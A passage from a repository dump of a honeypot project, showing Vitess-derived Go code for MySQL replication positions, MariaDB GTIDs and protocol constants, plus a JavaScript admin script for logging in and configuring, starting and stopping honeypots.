143 | switch result[0] {
144 | case EOFPacket:
145 | return nil, NewSQLError(CRServerLost, SSUnknownSQLState, "%v", io.EOF)
146 | case ErrPacket:
147 | return nil, ParseErrorPacket(result)
148 | }
149 | return NewMysql56BinlogEvent(result[1:]), nil
150 | }
151 |
152 | // enableBinlogPlaybackCommand is part of the Flavor interface.
153 | func (mysqlFlavor) enableBinlogPlaybackCommand() string {
154 | return ""
155 | }
156 |
157 | // disableBinlogPlaybackCommand is part of the Flavor interface.
158 | func (mysqlFlavor) disableBinlogPlaybackCommand() string {
159 | return ""
160 | }
161 |
--------------------------------------------------------------------------------
/honeyPot/utils/mysql/replication_position.go:
--------------------------------------------------------------------------------
1 | /*
2 | Copyright 2017 Google Inc.
3 |
4 | Licensed under the Apache License, Version 2.0 (the "License");
5 | you may not use this file except in compliance with the License.
6 | You may obtain a copy of the License at
7 |
8 | http://www.apache.org/licenses/LICENSE-2.0
9 |
10 | Unless required by applicable law or agreedto in writing, software
11 | distributed under the License is distributed on an "AS IS" BASIS,
12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 | See the License for the specific language governing permissions and
14 | limitations under the License.
15 | */
16 |
17 | package mysql
18 |
19 | import (
20 | "encoding/json"
21 | "fmt"
22 | "strings"
23 |
24 | "vitess.io/vitess/go/vt/proto/vtrpc"
25 | "vitess.io/vitess/go/vt/vterrors"
26 | )
27 |
28 | const (
29 | // MaximumPositionSize is the maximum size of a
30 | // replication position. It is used as the maximum column size in the _vt.reparent_journal and
31 | // other related tables. A row has a maximum size of 65535 bytes. So
32 | // we want to stay under that. We use VARBINARY so the
33 | // character set doesn't matter, we only store ascii
34 | // characters anyway.
35 | MaximumPositionSize = 64000
36 | )
37 |
38 | // Position represents the information necessary to describe which
39 | // transactions a server has seen, so that it can request a replication stream
40 | // from a new master that picks up where it left off.
41 | //
42 | // This must be a concrete struct because custom Unmarshalers can't be
43 | // registered on an interface.
44 | //
45 | // The == operator should not be used with Position, because the
46 | // underlying GTIDSet might use slices, which are not comparable. Using == in
47 | // those cases will result in a run-time panic.
48 | type Position struct {
49 | // This is a zero byte compile-time check that no one is trying to
50 | // use == or != with Position. Without this, we won't know there's
51 | // a problem until the runtime panic. Note that this must not be
52 | // the last field of the struct, or else the Go compiler will add
53 | // padding to prevent pointers to this field from becoming invalid.
54 | _ [0]struct{ _ []byte }
55 |
56 | // GTIDSet is the underlying GTID set. It must not be anonymous,
57 | // or else Position would itself also implement the GTIDSet interface.
58 | GTIDSet GTIDSet
59 | }
60 |
61 | // Equal returns true if this position is equal to another.
62 | func (rp Position) Equal(other Position) bool {
63 | if rp.GTIDSet == nil {
64 | return other.GTIDSet == nil
65 | }
66 | return rp.GTIDSet.Equal(other.GTIDSet)
67 | }
68 |
69 | // AtLeast returns true if this position is equal to or after another.
70 | func (rp Position) AtLeast(other Position) bool {
71 | if rp.GTIDSet == nil {
72 | return other.GTIDSet == nil
73 | }
74 | return rp.GTIDSet.Contains(other.GTIDSet)
75 | }
76 |
77 | // String returns a string representation of the underlying GTIDSet.
78 | // If the set is nil, it returns "" in the style of Sprintf("%v", nil).
79 | func (rp Position) String() string {
80 | if rp.GTIDSet == nil {
81 | return ""
82 | }
83 | return rp.GTIDSet.String()
84 | }
85 |
86 | // IsZero returns true if this is the zero value, Position{}.
87 | func (rp Position) IsZero() bool {
88 | return rp.GTIDSet == nil
89 | }
90 |
91 | // AppendGTID returns a new Position that represents the position
92 | // after the given GTID is replicated.
93 | func AppendGTID(rp Position, gtid GTID) Position {
94 | if gtid == nil {
95 | return rp
96 | }
97 | if rp.GTIDSet == nil {
98 | return Position{GTIDSet: gtid.GTIDSet()}
99 | }
100 | return Position{GTIDSet: rp.GTIDSet.AddGTID(gtid)}
101 | }
102 |
103 | // MustParsePosition calls ParsePosition and panics
104 | // on error.
105 | func MustParsePosition(flavor, value string) Position {
106 | rp, err := ParsePosition(flavor, value)
107 | if err != nil {
108 | panic(err)
109 | }
110 | return rp
111 | }
112 |
113 | // EncodePosition returns a string that contains both the flavor
114 | // and value of the Position, so that the correct parser can be
115 | // selected when that string is passed to DecodePosition.
116 | func EncodePosition(rp Position) string {
117 | if rp.GTIDSet == nil {
118 | return ""
119 | }
120 | return fmt.Sprintf("%s/%s", rp.GTIDSet.Flavor(), rp.GTIDSet.String())
121 | }
122 |
123 | // DecodePosition converts a string in the format returned by
124 | // EncodePosition back into a Position value with the
125 | // correct underlying flavor.
126 | func DecodePosition(s string) (rp Position, err error) {
127 | if s == "" {
128 | return rp, nil
129 | }
130 |
131 | parts := strings.SplitN(s, "/", 2)
132 | if len(parts) != 2 {
133 | // There is no flavor. Try looking for a default parser.
134 | return ParsePosition("", s)
135 | }
136 | return ParsePosition(parts[0], parts[1])
137 | }
138 |
139 | // ParsePosition calls the parser for the specified flavor.
140 | func ParsePosition(flavor, value string) (rp Position, err error) {
141 | parser := gtidSetParsers[flavor]
142 | if parser == nil {
143 | return rp, vterrors.Errorf(vtrpc.Code_INTERNAL, "parse error: unknown GTIDSet flavor %#v", flavor)
144 | }
145 | gtidSet, err := parser(value)
146 | if err != nil {
147 | return rp, err
148 | }
149 | rp.GTIDSet = gtidSet
150 | return rp, err
151 | }
152 |
153 | // MarshalJSON implements encoding/json.Marshaler.
154 | func (rp Position) MarshalJSON() ([]byte, error) {
155 | return json.Marshal(EncodePosition(rp))
156 | }
157 |
158 | // UnmarshalJSON implements encoding/json.Unmarshaler.
159 | func (rp *Position) UnmarshalJSON(buf []byte) error {
160 | var s string
161 | err := json.Unmarshal(buf, &s)
162 | if err != nil {
163 | return err
164 | }
165 |
166 | *rp, err = DecodePosition(s)
167 | if err != nil {
168 | return err
169 | }
170 | return nil
171 | }
172 |
--------------------------------------------------------------------------------
/honeyPot/utils/mysql/mariadb_gtid.go:
--------------------------------------------------------------------------------
1 | /*
2 | Copyright 2017 Google Inc.
3 |
4 | Licensed under the Apache License, Version 2.0 (the "License");
5 | you may not use this file except in compliance with the License.
6 | You may obtain a copy of the License at
7 |
8 | http://www.apache.org/licenses/LICENSE-2.0
9 |
10 | Unless required by applicable law or agreedto in writing, software
11 | distributed under the License is distributed on an "AS IS" BASIS,
12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 | See the License for the specific language governing permissions and
14 | limitations under the License.
15 | */
16 |
17 | package mysql
18 |
19 | import (
20 | "fmt"
21 | "strconv"
22 | "strings"
23 |
24 | "vitess.io/vitess/go/vt/proto/vtrpc"
25 | "vitess.io/vitess/go/vt/vterrors"
26 | )
27 |
28 | const mariadbFlavorID = "MariaDB"
29 |
30 | // parseMariadbGTID is registered as a GTID parser.
31 | func parseMariadbGTID(s string) (GTID, error) {
32 | // Split into parts.
33 | parts := strings.Split(s, "-")
34 | if len(parts) != 3 {
35 | return nil, vterrors.Errorf(vtrpc.Code_INTERNAL, "invalid MariaDB GTID (%v): expecting Domain-Server-Sequence", s)
36 | }
37 |
38 | // Parse Domain ID.
39 | Domain, err := strconv.ParseUint(parts[0], 10, 32)
40 | if err != nil {
41 | return nil, vterrors.Wrapf(err, "invalid MariaDB GTID Domain ID (%v)", parts[0])
42 | }
43 |
44 | // Parse Server ID.
45 | Server, err := strconv.ParseUint(parts[1], 10, 32)
46 | if err != nil {
47 | return nil, vterrors.Wrapf(err, "invalid MariaDB GTID Server ID (%v)", parts[1])
48 | }
49 |
50 | // Parse Sequence number.
51 | Sequence, err := strconv.ParseUint(parts[2], 10, 64)
52 | if err != nil {
53 | return nil, vterrors.Wrapf(err, "invalid MariaDB GTID Sequence number (%v)", parts[2])
54 | }
55 |
56 | return MariadbGTID{
57 | Domain: uint32(Domain),
58 | Server: uint32(Server),
59 | Sequence: Sequence,
60 | }, nil
61 | }
62 |
63 | // parseMariadbGTIDSet is registered as a GTIDSet parser.
64 | func parseMariadbGTIDSet(s string) (GTIDSet, error) {
65 | gtidStrings := strings.Split(s, ",")
66 | gtidSet := make(MariadbGTIDSet, len(gtidStrings))
67 | for i, gtidString := range gtidStrings {
68 | gtid, err := parseMariadbGTID(gtidString)
69 | if err != nil {
70 | return nil, err
71 | }
72 | gtidSet[i] = gtid.(MariadbGTID)
73 | }
74 | return gtidSet, nil
75 | }
76 |
77 | // MariadbGTID implements GTID.
78 | type MariadbGTID struct {
79 | // Domain is the ID number of the domain within which sequence numbers apply.
80 | Domain uint32
81 | // Server is the ID of the server that generated the transaction.
82 | Server uint32
83 | // Sequence is the sequence number of the transaction within the domain.
84 | Sequence uint64
85 | }
86 |
87 | // MariadbGTIDSet implements GTIDSet
88 | type MariadbGTIDSet []MariadbGTID
89 |
90 | // String implements GTID.String().
91 | func (gtid MariadbGTID) String() string {
92 | return fmt.Sprintf("%d-%d-%d", gtid.Domain, gtid.Server, gtid.Sequence)
93 | }
94 |
95 | // Flavor implements GTID.Flavor().
96 | func (gtid MariadbGTID) Flavor() string {
97 | return mariadbFlavorID
98 | }
99 |
100 | // SequenceDomain implements GTID.SequenceDomain().
101 | func (gtid MariadbGTID) SequenceDomain() interface{} {
102 | return gtid.Domain
103 | }
104 |
105 | // SourceServer implements GTID.SourceServer().
106 | func (gtid MariadbGTID) SourceServer() interface{} {
107 | return gtid.Server
108 | }
109 |
110 | // SequenceNumber implements GTID.SequenceNumber().
111 | func (gtid MariadbGTID) SequenceNumber() interface{} {
112 | return gtid.Sequence
113 | }
114 |
115 | // GTIDSet implements GTID.GTIDSet().
116 | func (gtid MariadbGTID) GTIDSet() GTIDSet {
117 | return MariadbGTIDSet{gtid}
118 | }
119 |
120 | // String implements GTIDSet.String()
121 | func (gtidSet MariadbGTIDSet) String() string {
122 | s := make([]string, len(gtidSet))
123 | for i, gtid := range gtidSet {
124 | s[i] = gtid.String()
125 | }
126 | return strings.Join(s, ",")
127 | }
128 |
129 | // Flavor implements GTIDSet.Flavor()
130 | func (gtidSet MariadbGTIDSet) Flavor() string {
131 | return mariadbFlavorID
132 | }
133 |
134 | // ContainsGTID implements GTIDSet.ContainsGTID().
135 | func (gtidSet MariadbGTIDSet) ContainsGTID(other GTID) bool {
136 | if other == nil {
137 | return true
138 | }
139 | mdbOther, ok := other.(MariadbGTID)
140 | if !ok {
141 | return false
142 | }
143 | for _, gtid := range gtidSet {
144 | if gtid.Domain != mdbOther.Domain {
145 | continue
146 | }
147 | return gtid.Sequence >= mdbOther.Sequence
148 | }
149 | return false
150 | }
151 |
152 | // Contains implements GTIDSet.Contains().
153 | func (gtidSet MariadbGTIDSet) Contains(other GTIDSet) bool {
154 | if other == nil {
155 | return true
156 | }
157 | mdbOther, ok := other.(MariadbGTIDSet)
158 | if !ok {
159 | return false
160 | }
161 | for _, gtid := range mdbOther {
162 | if !gtidSet.ContainsGTID(gtid) {
163 | return false
164 | }
165 | }
166 | return true
167 | }
168 |
169 | // Equal implements GTIDSet.Equal().
170 | func (gtidSet MariadbGTIDSet) Equal(other GTIDSet) bool {
171 | mdbOther, ok := other.(MariadbGTIDSet)
172 | if !ok {
173 | return false
174 | }
175 | if len(gtidSet) != len(mdbOther) {
176 | return false
177 | }
178 | for i, gtid := range gtidSet {
179 | if gtid != mdbOther[i] {
180 | return false
181 | }
182 | }
183 | return true
184 | }
185 |
186 | // AddGTID implements GTIDSet.AddGTID().
187 | func (gtidSet MariadbGTIDSet) AddGTID(other GTID) GTIDSet {
188 | mdbOther, ok := other.(MariadbGTID)
189 | if !ok || other == nil {
190 | return gtidSet
191 | }
192 | for i, gtid := range gtidSet {
193 | if mdbOther.Domain == gtid.Domain {
194 | if mdbOther.Sequence > gtid.Sequence {
195 | gtidSet[i] = mdbOther
196 | }
197 | return gtidSet
198 | }
199 | }
200 | return append(gtidSet, mdbOther)
201 | }
202 |
203 | func init() {
204 | gtidParsers[mariadbFlavorID] = parseMariadbGTID
205 | gtidSetParsers[mariadbFlavorID] = parseMariadbGTIDSet
206 | }
207 |
--------------------------------------------------------------------------------
/honeyPot/utils/mysql/replication_constants.go:
--------------------------------------------------------------------------------
1 | /*
2 | Copyright 2017 Google Inc.
3 |
4 | Licensed under the Apache License, Version 2.0 (the "License");
5 | you may not use this file except in compliance with the License.
6 | You may obtain a copy of the License at
7 |
8 | http://www.apache.org/licenses/LICENSE-2.0
9 |
10 | Unless required by applicable law or agreedto in writing, software
11 | distributed under the License is distributed on an "AS IS" BASIS,
12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 | See the License for the specific language governing permissions and
14 | limitations under the License.
15 | */
16 |
17 | package mysql
18 |
19 | // This file contains the constant definitions for this package.
20 |
21 | // This is the data type for a field.
22 | // Values taken from include/mysql/mysql_com.h
23 | const (
24 | // TypeDecimal is MYSQL_TYPE_DECIMAL. It is deprecated.
25 | TypeDecimal = 0
26 |
27 | // TypeTiny is MYSQL_TYPE_TINY
28 | TypeTiny = 1
29 |
30 | // TypeShort is MYSQL_TYPE_SHORT
31 | TypeShort = 2
32 |
33 | // TypeLong is MYSQL_TYPE_LONG
34 | TypeLong = 3
35 |
36 | // TypeFloat is MYSQL_TYPE_FLOAT
37 | TypeFloat = 4
38 |
39 | // TypeDouble is MYSQL_TYPE_DOUBLE
40 | TypeDouble = 5
41 |
42 | // TypeNull is MYSQL_TYPE_NULL
43 | TypeNull = 6
44 |
45 | // TypeTimestamp is MYSQL_TYPE_TIMESTAMP
46 | TypeTimestamp = 7
47 |
48 | // TypeLongLong is MYSQL_TYPE_LONGLONG
49 | TypeLongLong = 8
50 |
51 | // TypeInt24 is MYSQL_TYPE_INT24
52 | TypeInt24 = 9
53 |
54 | // TypeDate is MYSQL_TYPE_DATE
55 | TypeDate = 10
56 |
57 | // TypeTime is MYSQL_TYPE_TIME
58 | TypeTime = 11
59 |
60 | // TypeDateTime is MYSQL_TYPE_DATETIME
61 | TypeDateTime = 12
62 |
63 | // TypeYear is MYSQL_TYPE_YEAR
64 | TypeYear = 13
65 |
66 | // TypeNewDate is MYSQL_TYPE_NEWDATE
67 | TypeNewDate = 14
68 |
69 | // TypeVarchar is MYSQL_TYPE_VARCHAR
70 | TypeVarchar = 15
71 |
72 | // TypeBit is MYSQL_TYPE_BIT
73 | TypeBit = 16
74 |
75 | // TypeTimestamp2 is MYSQL_TYPE_TIMESTAMP2
76 | TypeTimestamp2 = 17
77 |
78 | // TypeDateTime2 is MYSQL_TYPE_DATETIME2
79 | TypeDateTime2 = 18
80 |
81 | // TypeTime2 is MYSQL_TYPE_TIME2
82 | TypeTime2 = 19
83 |
84 | // TypeJSON is MYSQL_TYPE_JSON
85 | TypeJSON = 245
86 |
87 | // TypeNewDecimal is MYSQL_TYPE_NEWDECIMAL
88 | TypeNewDecimal = 246
89 |
90 | // TypeEnum is MYSQL_TYPE_ENUM
91 | TypeEnum = 247
92 |
93 | // TypeSet is MYSQL_TYPE_SET
94 | TypeSet = 248
95 |
96 | // TypeTinyBlob is MYSQL_TYPE_TINY_BLOB
97 | TypeTinyBlob = 249
98 |
99 | // TypeMediumBlob is MYSQL_TYPE_MEDIUM_BLOB
100 | TypeMediumBlob = 250
101 |
102 | // TypeLongBlob is MYSQL_TYPE_LONG_BLOB
103 | TypeLongBlob = 251
104 |
105 | // TypeBlob is MYSQL_TYPE_BLOB
106 | TypeBlob = 252
107 |
108 | // TypeVarString is MYSQL_TYPE_VAR_STRING
109 | TypeVarString = 253
110 |
111 | // TypeString is MYSQL_TYPE_STRING
112 | TypeString = 254
113 |
114 | // TypeGeometry is MYSQL_TYPE_GEOMETRY
115 | TypeGeometry = 255
116 | )
117 |
118 | // Constants for the type of an INTVAR_EVENT.
119 | const (
120 | // IntVarInvalidInt is INVALID_INT_EVENT
121 | IntVarInvalidInt = 0
122 |
123 | // IntVarLastInsertID is LAST_INSERT_ID_EVENT
124 | IntVarLastInsertID = 1
125 |
126 | // IntVarInsertID is INSERT_ID_EVENT
127 | IntVarInsertID = 2
128 | )
129 |
130 | // Name of the variable represented by an IntVar.
131 | var (
132 | // IntVarNames maps a InVar type to the variable name it represents.
133 | IntVarNames = map[byte]string{
134 | IntVarLastInsertID: "LAST_INSERT_ID",
135 | IntVarInsertID: "INSERT_ID",
136 | }
137 | )
138 |
139 | // Constants about the type of checksum in a packet.
140 | // These constants are common between MariaDB 10.0 and MySQL 5.6.
141 | const (
142 | // BinlogChecksumAlgOff indicates that checksums are supported but off.
143 | BinlogChecksumAlgOff = 0
144 |
145 | // BinlogChecksumAlgCRC32 indicates that CRC32 checksums are used.
146 | BinlogChecksumAlgCRC32 = 1
147 |
148 | // BinlogChecksumAlgUndef indicates that checksums are not supported.
149 | BinlogChecksumAlgUndef = 255
150 | )
151 |
152 | // These constants describe the event types.
153 | // See: http://dev.mysql.com/doc/internals/en/binlog-event-type.html
154 | const (
155 | eUnknownEvent = 0
156 | eStartEventV3 = 1
157 | eQueryEvent = 2
158 | eStopEvent = 3
159 | eRotateEvent = 4
160 | eIntVarEvent = 5
161 | eLoadEvent = 6
162 | eSlaveEvent = 7
163 | eCreateFileEvent = 8
164 | eAppendBlockEvent = 9
165 | eExecLoadEvent = 10
166 | eDeleteFileEvent = 11
167 | eNewLoadEvent = 12
168 | eRandEvent = 13
169 | eUserVarEvent = 14
170 | eFormatDescriptionEvent = 15
171 | eXIDEvent = 16
172 | eBeginLoadQueryEvent = 17
173 | eExecuteLoadQueryEvent = 18
174 | eTableMapEvent = 19
175 | eWriteRowsEventV0 = 20
176 | eUpdateRowsEventV0 = 21
177 | eDeleteRowsEventV0 = 22
178 | eWriteRowsEventV1 = 23
179 | eUpdateRowsEventV1 = 24
180 | eDeleteRowsEventV1 = 25
181 | eIncidentEvent = 26
182 | eHeartbeatEvent = 27
183 | eIgnorableEvent = 28
184 | eRowsQueryEvent = 29
185 | eWriteRowsEventV2 = 30
186 | eUpdateRowsEventV2 = 31
187 | eDeleteRowsEventV2 = 32
188 | eGTIDEvent = 33
189 | eAnonymousGTIDEvent = 34
190 | ePreviousGTIDsEvent = 35
191 |
192 | // MySQL 5.7 events
193 | eTransactionContextEvent = 36
194 | eViewChangeEvent = 37
195 | eXAPrepareLogEvent = 38
196 |
197 | // MariaDB specific values. They start at 160.
198 | eMariaAnnotateRowsEvent = 160
199 | eMariaBinlogCheckpointEvent = 161
200 | eMariaGTIDEvent = 162
201 | eMariaGTIDListEvent = 163
202 | eMariaStartEncryptionEvent = 164
203 | )
204 |
205 | // These constants describe the type of status variables in q Query packet.
206 | const (
207 | // QFlags2Code is Q_FLAGS2_CODE
208 | QFlags2Code = 0
209 |
210 | // QSQLModeCode is Q_SQL_MODE_CODE
211 | QSQLModeCode = 1
212 |
213 | // QCatalog is Q_CATALOG
214 | QCatalog = 2
215 |
216 | // QAutoIncrement is Q_AUTO_INCREMENT
217 | QAutoIncrement = 3
218 |
219 | // QCharsetCode is Q_CHARSET_CODE
220 | QCharsetCode = 4
221 |
222 | // QTimeZoneCode is Q_TIME_ZONE_CODE
223 | QTimeZoneCode = 5
224 |
225 | // QCatalogNZCode is Q_CATALOG_NZ_CODE
226 | QCatalogNZCode = 6
227 | )
228 |
--------------------------------------------------------------------------------
/honeyPot/utils/mysql/doc.go:
--------------------------------------------------------------------------------
1 | /*
2 | Copyright 2017 Google Inc.
3 |
4 | Licensed under the Apache License, Version 2.0 (the "License");
5 | you may not use this file except in compliance with the License.
6 | You may obtain a copy of the License at
7 |
8 | http://www.apache.org/licenses/LICENSE-2.0
9 |
10 | Unless required by applicable law or agreedto in writing, software
11 | distributed under the License is distributed on an "AS IS" BASIS,
12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 | See the License for the specific language governing permissions and
14 | limitations under the License.
15 | */
16 |
17 | // Package mysql is a library to support MySQL binary protocol,
18 | // both client and server sides. It also supports binlog event parsing.
19 | package mysql
20 |
21 | /*
22 |
23 | Implementation notes, collected during coding.
24 | ==============================================
25 |
26 | The reference for the capabilities is at this location:
27 | http://dev.mysql.com/doc/internals/en/capability-flags.html
28 |
29 | --
30 | CLIENT_FOUND_ROWS
31 |
32 | The doc says:
33 | Send found rows instead of affected rows in EOF_Packet.
34 | Value
35 | 0x00000002
36 |
37 | We just pass it through to the server.
38 |
39 | --
40 | CLIENT_CONNECT_WITH_DB:
41 |
42 | It drives the ability to connect with a database name.
43 | The server needs to send this flag if it supports it.
44 | If the client supports it as well, and wants to connect with a database name,
45 | then the client can set the flag in its response, and then put the database name
46 | in the handshake response.
47 |
48 | If the server doesn't support it (meaning it is not set in the server
49 | capability flags), then the client may set the flag or not (as the
50 | server should ignore it anyway), and then should send a COM_INIT_DB
51 | message to set the database.
52 |
53 | --
54 | PLUGABLE AUTHENTICATION:
55 |
56 | See https://dev.mysql.com/doc/internals/en/authentication-method-mismatch.html
57 | for more information on this.
58 |
59 | Our server side always starts by using mysql_native_password, like a
60 | real MySQL server.
61 |
62 | Our client will expect the server to always use mysql_native_password
63 | in its initial handshake. This is what a real server always does, even though
64 | it's not technically mandatory.
65 |
66 | The server's AuthServer plugin method AuthMethod() will then return
67 | what auth method the server wants to use. If it is
68 | mysql_native_password, and the client already returned the data, we
69 | use it. Otherwise we switch the auth to what the server wants (by
70 | sending an Authentication Method Switch Request packet) and
71 | re-negotiate.
72 |
73 | --
74 | Maximum Packet Size:
75 |
76 | Set to zero by client and ignored by the server. Not sure what to do
77 | with this now. It seems the mysql client is sending 16777216 to the
78 | server, which is what we use anyway. Not sure any client will send any
79 | lower value, and if they do, not sure what the first 3 bytes of a
80 | packet should be (still 0xff 0xff 0xff or the max packet size).
81 |
82 | --
83 | CLIENT_CONNECT_ATTRS
84 |
85 | The client can send up optional connection attributes with this flags.
86 | I don't see a use for them yet.
87 |
88 | --
89 | Multi result sets:
90 |
91 | Only used by stored procedures returning multiple result sets.
92 | Unclear if it is also used when the CLIENT_MULTI_STATEMENTS flag is used.
93 | See: http://dev.mysql.com/doc/internals/en/multi-resultset.html
94 |
95 | The flags returned is then used to mark if there are more result sets
96 | coming up.
97 |
98 | We do not support any of this yet. It would be nice to plumb that for
99 | ExecuteBatch later on though.
100 |
101 | --
102 | Character sets:
103 |
104 | See: http://dev.mysql.com/doc/internals/en/character-set.html#packet-Protocol::CharacterSet
105 |
106 | We maintain a map of character set names to integer value.
107 |
108 | --
109 | Server protection:
110 |
111 | We should add the following protections for the server:
112 | - Limit the number of concurrently opened client connections.
113 | - Add an idle timeout and close connections after that timeout is reached.
114 | Should start during initial handshake, maybe have a shorter value during
115 | handshake.
116 |
117 | --
118 | NUM_FLAG flag:
119 |
120 | It is added by the C client library if the field is numerical.
121 |
122 | if (IS_NUM(client_field->type))
123 | client_field->flags|= NUM_FLAG;
124 |
125 | This is somewhat useless. Also, that flag overlaps with GROUP_FLAG
126 | (which seems to be used by the server only for temporary tables in
127 | some cases, so it's not a big deal).
128 |
129 | But eventually, we probably want to remove it entirely, as it is not
130 | transmitted over the wire. For now, we keep it for backward
131 | compatibility with the C client.
132 |
133 | --
134 | Row-based replication:
135 |
136 | The following types or constructs are not yet supported by our RBR:
137 |
138 | - in MariaDB, the type TIMESTAMP(N) where N>0 is stored in the row the
139 | exact same way as TIMESTAMP(0). So there is no way to get N, except
140 | by knowing the table exact schema. This is such a corner case. MySQL
141 | 5.6+ uses TIMESTAMP2, and uses metadata to know the precision, so it
142 | works there very nicely.
143 |
144 | From mariaDB source code comment:
145 | 'So row-based replication between temporal data types of
146 | different precision is not possible in MariaDB.'
147 |
148 | - JSON is stored as an optimized index data blob in the row. We don't
149 | parse it to re-print a text version for re-insertion. Instead, we
150 | just return NULL. So JSOn is not supported.
151 |
152 | Replication Notes:
153 | ==================
154 |
155 | This package also defines a few data structures used for replication.
156 | It is meant to only depend on the proto definitions, and nothing else.
157 | Replication support has two main aspects:
158 |
159 | 1. Replication event and positions.
160 |
161 | A replication event is an individual event, and it has an ID, called GTID.
162 |
163 | A replication position is defined slightly differently for MariaDB and MySQL 5.6+:
164 |
165 | - MariaDB uses the latest position as an integer, that assumes every
166 | single event before that integer was applied. So a replication
167 | position is similar to a GTID.
168 |
169 | - Mysql 5.6+ keeps track of all event ever applied, in a structure called GTIDSet.
170 |
171 | To make these two compatible, a replication position is defined by
172 | this library as a GTIDSet. For MariaDB, the Set is equal to a Position.
173 |
174 |
175 | 2. Binlog event management. They are defined in the MySQL spec at:
176 | http://dev.mysql.com/doc/internals/en/replication-protocol.html
177 |
178 | These are slightly different for MariaDB and MySQL 5.6+, as they
179 | contain GTIDs. MariaDB also defines a GTID event that has an implicit
180 | Begin, that can replace an usual Begin.
181 |
182 | */
183 |
--------------------------------------------------------------------------------
/honeyPot/admin/jkxtmw/js/index.js:
--------------------------------------------------------------------------------
1 | //登录检查
2 | function check() {
3 | const username = document.getElementById("username").value;
4 | const password = document.getElementById("password").value;
5 | if (username === "" || password === "") {
6 | alert("用户名密码不能为空")
7 | } else {
8 | $.ajax({
9 | type: 'post',
10 | url: "login",
11 | data: {
12 | username: username,
13 | password: password
14 | },
15 | dataType: "json",
16 | success: function (data) {
17 | if (data.code === 0) {
18 | alert("用户名或密码错误")
19 | window.location.href = "login";
20 | } else {
21 | alert("登录成功")
22 | window.location.href = "./";
23 | }
24 | }
25 | })
26 | }
27 | }
28 |
29 | //取消配置
30 | function cancel() {
31 | window.location.href="./";
32 | }
33 |
34 | function isValidIP(ip) {
35 | var reg = /^(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])$/
36 | return reg.test(ip);
37 | }
38 |
39 | //修改配置
40 | function potConfigSave() {
41 | configid = $('#configid').val();
42 | username = $('#username').length >0 ? $('#username').val() : "";
43 | password = $('#password').length >0 ? $('#password').val() : "";
44 | port = $('#port').length >0 ? $('#port').val() : "0";
45 | filelist = $('#filelist').length >0 ? $('#filelist').val() : "";
46 | payload = $('#payload').length >0 ? $('#payload').val() : "";
47 | fileexists = $('#fileexists').length >0 ? $('#fileexists').val() : "0";
48 | ip = $('#ip').length >0 ? $('#ip').val() : "";
49 |
50 | if (port > 65535 || port < 1) {
51 | alert("端口号设置错误!");
52 | return;
53 | }
54 |
55 | if (configid === 1003 && !isValidIP(ip)) {
56 | alert("ip格式错误!");
57 | return;
58 | }
59 |
60 | exitflag = false;
61 |
62 | if ($('#file').length > 0 && $('#file').val().length > 0) {
63 | $.ajax({
64 | url: 'uploadfile',
65 | type: 'POST',
66 | cache: false,
67 | data: new FormData($('#uploadForm')[0]),
68 | processData: false,
69 | contentType: false,
70 | async: false,
71 | success: function(data) {
72 | if (data.code === 0) {
73 | fileexists = "1";
74 | } else {
75 | alert("文件上传失败!请检查网络设置!");
76 | exitflag = true;
77 | }
78 | }
79 | })
80 | }
81 |
82 | if (exitflag) {return;}
83 |
84 | $.ajax({
85 | type: 'post',
86 | url: "potconfig",
87 | data: {
88 | username: username,
89 | password: password,
90 | port: port,
91 | filelist: filelist,
92 | configid: configid,
93 | payload: payload,
94 | fileexists: fileexists,
95 | ip: ip
96 | },
97 | dataType: "json",
98 | success: function (data) {
99 | if (data.code === 0) {
100 | alert("修改成功!请重新启动对应蜜罐使配置生效!");
101 | window.location.href = "./";
102 | } else {
103 | alert("修改失败!请检查输入格式是否正确!");
104 | }
105 | }
106 | })
107 | }
108 |
109 | //改变蜜罐状态(0:关闭;1:运行)
110 | function potcontrol(configid, state) {
111 | //弹出确认框,提示用户先对蜜罐进行配置
112 | var msg = state === 0 ? "您确认启动吗?(启动之前请确认是否对蜜罐进行了配置)": "您确认关闭吗?";
113 | if (confirm(msg) === false) {
114 | return;
115 | }
116 |
117 | $.ajax({
118 | type: 'post',
119 | url: "potcontrol",
120 | data: {
121 | configid: configid,
122 | state: state
123 | },
124 | dataType: "json",
125 | success: function (data) {
126 | if (data.code === 0) {
127 | setTimeout(function(){ if (state === 0) {
128 | alert("启动成功!");
129 | } else {
130 | alert("关闭成功!");
131 | }
132 | window.location.href = "./";}, 2000);
133 | } else {
134 | alert("系统错误!请稍后重试!");
135 | }
136 | }
137 | })
138 | }
139 |
140 | //修改密码
141 | function pwd() {
142 | const oldpass = document.getElementById("oldpass").value;
143 | const password1 = document.getElementById("password1").value;
144 | const password2 = document.getElementById("password2").value;
145 | if (oldpass === "") {
146 | alert("旧密码不能为空")
147 | }
148 | if (password1 === "" || password2 === "") {
149 | alert("输入的密码不能为空")
150 | }
151 | if (password1 !== "" && password2 !== "" && password1 !== password2) {
152 | alert("两次输入的密码不一致")
153 | } else {
154 | $.ajax({
155 | type: 'post',
156 | url: "changepass",
157 | data: {
158 | oldpass:oldpass,
159 | password1: password1,
160 | password2: password2
161 | },
162 | dataType: "json",
163 | success: function (data) {
164 | if (data.code === -1) {
165 | alert("旧密码输入错误")
166 | }
167 | if (data.code === 0) {
168 | alert("两次输入的密码不一致,请重新输入")
169 | }
170 | if (data.code === 3) {
171 | alert("密码长度必须大于8位,并且必须包含大小写字母,数字和特殊符号")
172 | }
173 | if (data.code === 1) {
174 | alert("密码修改成功,请重新登录")
175 | window.location.href = "logout";
176 | }
177 | if (data.code === 2) {
178 | alert("密码修改失败,请重新修改")
179 | }
180 | }
181 | })
182 | }
183 | }
184 |
185 | function countSubstr(str, substr) {
186 | const regex = new RegExp(substr, 'g');
187 | const result = str.match(regex);
188 | return !result ? 0 : result.length
189 | }
190 |
191 | $(function () {
192 | $('.logout').click(function() {
193 | let count = countSubstr(window.location.pathname, "/");
194 | path = ""
195 | for (let i = 0; i < count -2; i++) {
196 | path += "../"
197 | }
198 | if (confirm('确定退出?')) {
199 | window.location.href = path + "logout"
200 | }
201 | });
202 |
203 | $("#fileinput").fileinput({
